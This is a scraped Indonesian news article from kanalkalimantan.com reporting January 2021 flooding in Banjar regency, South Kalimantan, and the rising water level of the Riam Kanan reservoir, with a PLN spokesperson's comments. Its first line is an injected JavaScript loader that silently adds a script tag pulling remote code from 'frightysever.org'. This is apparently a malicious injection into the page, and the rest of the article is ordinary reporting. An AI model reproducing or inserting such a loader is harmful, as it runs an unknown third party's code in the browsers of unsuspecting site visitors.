(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Curah hujan yang terus menerus turun dan dengan intensitas tinggi mengakibatkan banyak wilayah di Kalimantan Selatan kebanjiran.
Tingginya intensitas hujan dalam beberapa hari terakhir juga mengakibatkan sejumlah wilayah di Kabupaten Banjar kebanjiran.
Banjir di Kabupaten Banjar itu terjadi di sejumlah wilayah di Kecamatan Karangintan, Martapura Kota, Martapura Timur, Martapura Barat, Sungaitabuk, Sungaipinang, Pengaron, Simpangempat, Mataraman, dan Kecamatan Astambul.
Banjir ini akibat meluapnya aliran Sungai Riam Kiwa, Riam Kanan, dan Sungai Martapura.
Banjir di kawasan Sungaipinang, Pengaron, Simpangempat, Mataraman dan Astambul merupakan luapan Sungai Riam Kiwa.
Banjir di Aranio dan Karangintan dan sebagian Astambul merupakan luapan Sungai Riam Kanan.
Kedua aliran sungai ini bertemu di Desa Pingaran Ulu, Kecamatan Astambul dan menjadi aliran sungai yang disebut Sungai Martapura. Dan luapan airnya menjadikan banjir di Kecamatan Martapura Kota, Martapura Timur, Martapura Barat, dan Sungaitabuk.
Tingginya curah hujan juga berimbas terhadap elevasi permukaan air Waduk Riam Kanan di Kecamatan Aranio, Kabupaten Banjar.
Hingga Senin (11/1/2021) siang, ketinggian permukaan air di waduk yang juga dipergunakan sebagai Pembangkit Listrik Tenaga Air (PLTA) Ir PHM Noor itu mencapai 60,1 meter.
Angka ini terus merangkak naik dari beberapa hari sebelumnya dan hampir melebih batas normal ketinggian permukaan air waduk yang dipatok 60,8 meter.
Saat ini sebagian besar masyarakat khawatir jika Sungai Riam Kanan akan mengalami kenaikan dari sebelum-sebelumnya dan berimbas pada daerah bantaran sungai.
Dikonfirmasi mengenai kondisi ketinggian permukaan air di Waduk Riam Kanan, Humas PLN UIKL, Niki Rendra Adisetiawan, membenarkan ketinggian hingga siang itu mencapai 60,1 meter.
“Normalnya 60,8 meter. Saat ini belum ada efek apa-apa mas ke aliran sungai di bawahnya,” ujar Niki saat dihubungi via whatsapp, Senin (11/1/2021) siang.
Menurut dia, PLN sudah mengantisipasi hal-hal yang tidak diinginkan berkait masyarakat di bagian hilir waduk.
“Imbauan ke masyarakat per 4 Januari 2021 kemarin sudah kami keluarkan ke masyarakat untuk menyesuaikan dengan pola operasi turbin. Cuma sebenarnya gak berkorelasi ya antara banjir di Kabupaten Banjar dengan air waduk, soalnya itu siklus normal tahunan,” ujar dia.
Di media sosial, beredar video yang menggambarkan ketinggian permukaan air di waduk Riam Kanan.
Di video itu terlihat air yang berlokasi di dekat PLTA itu masuk ke open spillway atau pembuangan terbuka yang ada di bagian waduk.
Pada dasarnya, ketinggian open spillway itu 60 meter. Sehingga jika air masuk ke situ berarti ketinggian permukaan air mencapai 60 meter lebih. (kanalkalimantan.com/Rico/Dhani)
Reporter : Rico/Dhani
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.